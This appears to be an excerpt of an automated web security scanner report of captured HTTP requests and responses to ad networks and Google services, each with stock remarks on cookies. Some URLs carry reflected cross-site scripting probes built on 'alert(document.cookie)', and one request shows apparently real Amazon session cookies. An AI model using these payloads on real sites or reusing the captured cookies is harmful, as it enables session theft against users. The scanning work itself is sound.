GET /click/site=0000772178/mnum=0000924994/cstr=49004778=_4d3dea59,5764026402,772178^924994^87^0,1_/xsxdata=$xsxdata/bnum=49004778/optn=64 HTTP/1.1 Host: r1-ads.ace.advertising.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: F1=Bkl690kAAAAASh8CAEAAgEABAAAABAAAAEAAgEA; 49004778=_4d3dea59,5764026402,772178^924994^87^0,0_; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJl2JpJh5e82KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ACID=Bc330012940999670074; GUID=MTI5NTkwMzIzMTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ; A07L=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w; C2=/nePNJpwIg02FAHCdbdBwhgohXAcwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; ROLL=v5Q2V0M9itzqEXE!;
Response
HTTP/1.1 302 Found Connection: close Date: Mon, 24 Jan 2011 22:49:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Location: http://c Set-Cookie: C2=cHgPNJpwIg02FsGCdbdBrhgohXwawOoAM/oROK7YDwAoGX7r1VQcKa8mGKGBI9YRVP53FkL3Fy5gPbw6TVIwsu2B/0mBOea7IIaWGsmgigQvJVAc; domain=advertising.com; expires=Wed, 23-Jan-2013 22:49:00 GMT; path=/ Set-Cookie: ROLL=v5Q2U0M!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:49:00 GMT; path=/ Set-Cookie: 49004778=_4d3dea59,5764026402,772178^924994^87^0,0_; domain=advertising.com; path=/click Set-Cookie: 5764026402=_4d3dea59,5764026402,772178^924994^87^0,1_; domain=advertising.com; path=/click Cache-Control: private, max-age=0, no-cache Expires: Mon, 24 Jan 2011 22:49:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="http://c">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1 HTTP/1.1 Host: r1-ads.ace.advertising.com Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ACID=Bc330012940999670074; F1=BQiz50kAAAAAjM7CAEAAgEABAAAABAAAAEAAgEA; BASE=YnQIr9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvG!; ROLL=v5Q2V0M7N+zqILE!; aceRTB=rm=Thu, 03 Feb 2011 00:12:50 GMT|am=Thu, 03 Feb 2011 00:12:50 GMT|dc=Thu, 03 Feb 2011 00:12:50 GMT|an=Sun, 20 Feb 2011 18:19:40 GMT|; C2=/nePNJpwIg02FAHCdbdBwhgohXAcwOoAM/oRTK7YDwAoGr7r1VQcKaMoGKGBI9YRaP53FkL3FG6gPbw6TVYxsu2B/0mBTea7IIaWGAH; GUID=MTI5NTkwMzIzMTsxOjE2aWYxN2Ewa3EwYmdkOjM2NQ
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache P3P: CP="NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV", an.n="Advertising.com", an.pp="http://advertising.aol.com/privacy/advertisingcom", an.oo="http://advertising.aol.com/privacy/advertisingcom/opt-out", an.by="Y" Comscore: CMXID=2115.924994.772178.0XMC Cache-Control: private, max-age=0, no-cache Expires: Mon, 24 Jan 2011 22:03:16 GMT Content-Type: application/x-javascript; charset=utf-8 Content-Length: 584 Date: Mon, 24 Jan 2011 22:03:16 GMT Connection: close Vary: Accept-Encoding Set-Cookie: C2=kcfPNJpwIg02F1GCdbdRthgohXUbwOoAM/ohQK7YDwAoGg7r1VQcKagnGKGBI9YhXP53FkL3F75gPbw6TVswsu2B/0mRQea7IIaWG1G; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: F1=BQy990kAAAAASh8CAEAAgEABAAAABAAAAEAAgEA; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: BASE=YnQIo9MmSf+Tkd8dWtCeW84rjjGaJlmHvEh5gB4KT4ggqyea2eW/3YWKVm/y2YMyTPzWzWqPEc0KmqQBlyv1AitvC52k1WFp+ZY63fzJnhGhJ9szxwHZQnZLI364iQjUbvvTIm5HoBJ/dvGn4fkHCXD!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: ROLL=v5Q2V0M9itzquWE!; domain=advertising.com; expires=Wed, 23-Jan-2013 22:03:16 GMT; path=/ Set-Cookie: 49004778=_4d3df724,5208681003,772178^924994^87^0,0_; domain=advertising.com; path=/click
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /e/cm?t=parenthoodcom-20&o=1&p=8&l=op1&pvid=FAF57618C04BCD50&ref-url=http%3A//www.parenthood.com/%3Fd1907%27-alert%28document.cookie%29-%27807a8eb3eff%3D1&ref-title=Parenting%2C%20Pregnancy%2C%20Baby%20Names%2C%20Online%20Parenting%20Articles%20%26%20More%20-%20Parenthood.com&ref-ref=http%3A//burp/show/57&bgc=FFFFFF&bdc=D4CCB2&pcc=990000&tec=5D6E4F&tic=714653&ac=714653&pvc=6E6E6E&mp=1&hl=1&tg=_blank&dsc=1&f=ifr&e=iso-8859-1 HTTP/1.1 Host: rcm.amazon.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: session-token=Z2JSK2RoUn+3UMHwG7/GMLAwP03jsMX2IupgD8XjIWL/cWEmFwNPxyjc+zvmeSxHFRri2WjEoaTthJUtEq8EAL61ozW8DRERMFViffbf4t9K0iQzlFKBaFiYf9vzLMP7fsKMskc0pEdBhkFJzjZjmTFuuFcjAIQqpefiCQpUp1OGTQNkcOqpUWmgyA0iAScPLbkwsq14aJ6RQliVt1HPt64kToJxXKmZWZXgpLdM8HZ79M0ij5nOCXDOxmXxRdkg; ubid-main=184-7948791-6690213; session-id-time=2082787201l; session-id=175-4977389-9084947; apn-user-id=efdefc51-984d-4206-a2cf-3e1833f8e844
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:23:01 GMT Server: Server Set-Cookie: apn-user-id=efdefc51-984d-4206-a2cf-3e1833f8e844; expires=Thu, 01-Jan-2037 08:00:01 GMT; path=/; domain=.amazon.com; p3p: policyref="http://rcm.amazon.com/w3c/p3p-us.xml",CP="CAO DSP LAW CUR ADM IVAo IVDo CONo OTPo OUR DELi PUBi OTRi BUS PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA HEA PRE LOC GOV OTC " Cache-control: no-store Content-Length: 4168 nnCoection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso- ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /w/pg?cont_id=11&d=f&host=media.fastclick.net HTTP/1.1 Host: rd.apmebf.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: S=fks3qs-58150-1294536375707-a5
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://media.fastclick.net/w/pg?cont_id=11& ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /schhp HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /scholar?hl\x3den\x26tab\x3dws\x22 HTTP/1.1 Host: scholar.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://scholar.google.com/schhp? ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 24 Jan 2011 21:07:11 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 24-Jan-2011 21:06:51 GMT Content-Type: text/javascript Pragma: no-cache Cache-Control: no-cache Set-Cookie: segments="3391|3392|30767|11262|16681|11265|17329|18086|17277|38582,1298044270|10102"; Domain=invitemedia.com; expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Content-Length: 488
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.0 200 OK Server: IM BidManager Date: Mon, 24 Jan 2011 22:20:55 GMT P3P: policyref="/w3c/p3p.xml", CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Expires: Mon, 24-Jan-2011 22:20:35 GMT Content-Type: image/gif Pragma: no-cache Cache-Control: no-cache Set-Cookie: segments="3391|3392|30767|11262|11265|17329|18086|17277|38582,1298044270|10102"; Domain=invitemedia.com; expires=Tue, 24-Jan-2012 22:20:55 GMT; Path=/ Content-Length: 43
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: shopping.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: smallbusinessnews.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /smp/v=5;m=1;t=2568;ts=1295903195040 HTTP/1.1 Host: smp.specificmedia.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: smu=5051.928757113086138685
Response
HTTP/1.1 302 Found Date: Mon, 24 Jan 2011 21:06:42 GMT Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0 Set-cookie: smu=5046.928757113086138685; domain=.specificmedia.com; path=/; expires=Tue, 29-Dec-2015 21:06:42 GMT Set-cookie: smt=eJxjZWdmYGBgZGECksxcXIZGlqaWBsZGBkbIbI5GoCyLkamZBQBmCQWm; domain=.specificmedia.com; path=/; expires=Tue, 29-Dec-2015 21:06:42 GMT P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI NAV" Location: http://cache.specificmedia.com/creative/blank.gif Connection: close Content-Type: text/html Content-Length: 412
<head><title>Moved</title> <body>This object has moved to <a href="http://cache.specificmedia.com/creative/blank.gif">http://cache.specificmedia.com/creative/blank.gif</a></body> <!DOCTYPE HTML PUBLIC ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/usync?pid=2&puid=914803576615380,rcHW800iZiMAAocf HTTP/1.1 Host: su.addthis.com Proxy-Connection: keep-alive Referer: http://b3.mookie1.com/2/B3DM/DLX/1@x71 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%7D..1295452270.19F|1295903322.60|1293848200.66; uid=4d1ec56b7612a62c; psc=4
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295903322.60|1295452270.19F|1293848200.66; Domain=.addthis.com; Expires=Thu, 24-Jan-2013 01:35:49 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Content-Type: image/png Content-Length: 67 Date: Tue, 25 Jan 2011 01:35:49 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /rtx/r.js?cmd=AGU&si=17295&pi=M&xs=3&pu=http%253A//www.autobytel.com/x22%2526ifu%253Dhttp%25253A//burp/show/31&v=5.5&cb=96663 HTTP/1.1 Host: tacoda.at.atwola.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ATTACID=a3Z0aWQ9MTZpZjE3YTBrcTBiZ2Q=; ANRTT=60848^1^1296494968; TData=99999|^|56780|60739|#|60848; Anxd=x; N=2:faabfca985572b481d74a4897e4d9013,71e5fe306b3f97af479b09e96a0ca00a; ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg=
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:06:44 GMT Server: Apache/1.3.37 (Unix) mod_perl/1.29 P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" P3P: policyref="http://www.tacoda.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Cache-Control: max-age=900 Expires: Mon, 24 Jan 2011 21:21:44 GMT Set-Cookie: ANRTT=60848^1^1296494968|62722^1^1296508004; path=/; expires=Mon, 31-Jan-11 21:06:44 GMT; domain=tacoda.at.atwola.com Set-Cookie: Tsid=0^1295903204^1295905004|17295^1295903204^1295905004; path=/; expires=Mon, 24-Jan-11 21:36:44 GMT; domain=tacoda.at.atwola.com Set-Cookie: TData=99999|^|56780|60739|#|60848|62722; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: Anxd=x; expires=Tue, 25-Jan-11 03:06:44 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: N=2:71e5fe306b3f97af479b09e96a0ca00a,3c9757ed1e17089910d4221c9c7e35f4; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=tacoda.at.atwola.com Set-Cookie: ATTAC=a3ZzZWc9OTk5OTk6NTY3ODA6NjA3Mzk6NjA4NDg6NjI3MjI=; expires=Thu, 19-Jan-12 21:06:44 GMT; path=/; domain=.at.atwola.com Cteonnt-Length: 128 Content-Type: application/x-javascript Content-Length: 128
var ANUT=1; var ANOO=0; var ANSR=1; var ANTID='16if17a0kq0bgd'; var ANSL='99999|^|56780|60739|#|60848|62722'; ANRTXR();
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/10?ret=html&phint=pageName%3Dunknown&phint=pageRequestID%3D427D360F-AD19-8945-2CEDA65620083A33&phint=affiliateGroupName%3DSearch%20Engine%20Optimization%20Project&phint=affiliateName%3DSEO%20DTS%20-%20Google%20ABTL%2013148&phint=campaign%3D13148&phint=__bk_t%3DBuy%20your%20next%20new%20or%20used%20car%20online%20with%20our%20New%20Car%20Pricing%20Guides%2C%20Car%20Reviews%2C%20Vehicle%20Comparisons%20and%20Used%20Car%20Inventory%20services.%20%7C%20Autobytel.com&phint=__bk_k%3DPricing%2CGuide%2Cbuy%20a%20new%20car%2Cbuy%20a%20used%20auto%2Cnew%20auto%2Cused%20auto%2Cnew%20car%2Cused%20car%2Cnew%20car%20pricing%2Cused%20car%20pricing%2Cdealer%2Clocal%20dealer%2C%20new%20car%20inventory%2C%20used%20car%20inventory&limit=10&r=42794077 HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bko=KJ0fyXF9XJlJlJKHRH/q9T1wLfAFvT1AcyBe3gTVD9y9Uh9aYy==; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCx8Vs/gFfw0GIU4J1ufsW6ue6EytNEOGRGe0XtExLxebEKLRWOEvz61pOXhbJFah1e9pBe3EDeyT3qbfCTgWet1w9011QZ1evAbZ+ONx49NDLpQPD9xj9OLh19DDoQSQ==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxitRxgyXR9wBpxh1n/6LnutBe/6+e9pBMRtwNJFf9QY26izl; bk=dOTA6tBCxZ/sHNJo; bkc=KJhnRtPQrOgmyceoM3DF/y1exh3xnXsn0G2Cx4O8KHQRdQAy1C0oBT4pFfmCXAc3R4yxeQRsgPysC+ybOaXeMx2ueImc1DeTdkeISiT/dfKyoiXpxT1+isd5iLg4FO7OgTKb+T9jGCdWM64MdTC9XYmj/Kol18Ae2EmOIzt03wyah3MXCVMXvePsmwXeNn6wZueZQdQOlvCX83IGdO8tHMi47hridpRulXLRk4dLs0o4VJGHpA2ACmMd+XF9ky7v72KBTewyxrHE2qU9bAaXh68DdkDPHCEIUMPDF3xbv+dS9jUFQzSUEDeyK2QC27XahCK1qhIc0759TXFV/FicGmsg7vRW82+hGdJ8eicT7WYIRy13wbDjkq2FmG/w9BZIKeT=
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /site/2981?id=CAESEEWMOpJK7G_TwnZyrwI-rS4&cver=1& HTTP/1.1 Host: tags.bluekai.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/10?ret=html&phint=pageName%3Dunknown&phint=pageRequestID%3D427D360F-AD19-8945-2CEDA65620083A33&phint=affiliateGroupName%3DSearch%20Engine%20Optimization%20Project&phint=affiliateName%3DSEO%20DTS%20-%20Google%20ABTL%2013148&phint=campaign%3D13148&phint=__bk_t%3DBuy%20your%20next%20new%20or%20used%20car%20online%20with%20our%20New%20Car%20Pricing%20Guides%2C%20Car%20Reviews%2C%20Vehicle%20Comparisons%20and%20Used%20Car%20Inventory%20services.%20%7C%20Autobytel.com&phint=__bk_k%3DPricing%2CGuide%2Cbuy%20a%20new%20car%2Cbuy%20a%20used%20auto%2Cnew%20auto%2Cused%20auto%2Cnew%20car%2Cused%20car%2Cnew%20car%20pricing%2Cused%20car%20pricing%2Cdealer%2Clocal%20dealer%2C%20new%20car%20inventory%2C%20used%20car%20inventory&limit=10&r=42794077 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: bku=yQG99YBZ/AlFQiDm; bk=Sbr2orXnuT6sHNJo; bkc=KJpMRZOQ0s5CRcM06+SUWzMZ9rJ1BcT1skIx9zawRtPQrOgmyceoMiVznXsn0Q4oCda8KHQRdQAy1C0oBT4pFfmCXAc3R4yxeQRsgPysC+ybOaXeMx2ueImcx5lgeIVF8Gny4y+gIM/pBBiYIBS+3wpBZhcXK3CfY8QCIAcXKeEIMyQWw8/jG7TlApkxwhmRl00n0k2QM1o4i1SwDZmWXp29l4rxYV/IiOd9Mzo7dGgvfta7Cww8rucbq0whFRhHIzIIG4vaoH7CdWHsiw8dryhXZSeXK56/wQ1FHe8PUyrLcLHlfWEkUNPCHmcFPDwkub3MX365DwAKScpjO9udChNidN5Q41cT27sG49z6FZy+Q7X/sgfvSDoyFC6lvod7W/nwYKxfB3e0D8oHI4rZ/dQ95omeay==; bko=KJ0qh1q9XmukguXqQpzFC1U//1zcR26Oi7N71QK0J/ai34oSxOR9PgTnh9==; bkst=KJhMREMWhzYQyZOARjaGRVjioZrjRZiQS8JA73uqjJ0uooruSsaiqshLqZZjj3bzorEny79O3Jb5GExFm0Idw1IctHyG29WGJ1hQRZOiRZHZRVOARZoCSskrjZhAXj9JJ1lwpx9W+XaLUtTAlqFOxitRxArHCjbX+9DvX4v9fE9l1pYhBnv6+ex0BnRy1exlBM8uqITn9YsAnPA=; bkw4=KJpfoXU9y1M90zU9LsXb9T1wLfZFggw1b65ZDFRyIQQM9y1f9f1C9XmeKTPo2fuHNK2Zy3bKkVWmDctEkRFSakNiNn1hUeBiRBMXGAMpaac3tH7I9+V4YpCxhSbwgwfJuNrLbgAjcW6RsvELmqx2eBcBdfw0T0U4o9Hfs9NupXHyt8uO/zgeittavDQ2DeZe/9wW4e4PD3jjcB7tNF42Kb47a5Zc1RaDVaA01OpXWzioSxcueEn4LRWOEvz61pOXhtnwn39IjGjuSySsaE4Uz4aRQDhCTsPQAWNQjWMPNTv3eTYgkyqq9yJOOLhm3tpHl4VgnZ+w0Kx1Khi2Q97AAi5te9yhFpkp9qpZCTX=; bkdc=res
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:34 GMT Expires: Mon, 24 Jan 2011 16:02:34 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=6837c8c340aa3ef0:TM=1295884954:LM=1295884954:S=IxvWEj2Jnkrx4IAL; expires=Wed, 23-Jan-2013 16:02:34 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /translate_t?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:37 GMT Expires: Mon, 24 Jan 2011 16:02:37 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=58e54bef485bd12c:TM=1295884957:LM=1295884957:S=BeWfOb0gwP1Q71Gx; expires=Wed, 23-Jan-2013 16:02:37 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: ugg.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: video.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Mon, 24 Jan 2011 16:02:42 GMT Expires: Mon, 24 Jan 2011 16:02:42 GMT Cache-Control: private, max-age=0 Set-Cookie: PREF=ID=80bba0dfa9870dce:TM=1295884962:LM=1295884962:S=KNIAhHHGtNDbKn6t; expires=Wed, 23-Jan-2013 16:02:42 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: VSFE_1.0 X-XSS-Protection: 1; mode=block Connection: close
<!doctype html> <meta content="text/html; charset=UTF-8" http-equiv=content-type> <meta content="Search millions of videos from across the web." name=description> <title>Google Videos</title> <script> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /videosearch HTTP/1.1 Host: video.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://video.google.com/">here</ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js/apture.js?siteToken=5rLcDWk HTTP/1.1 Host: www.apture.com Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
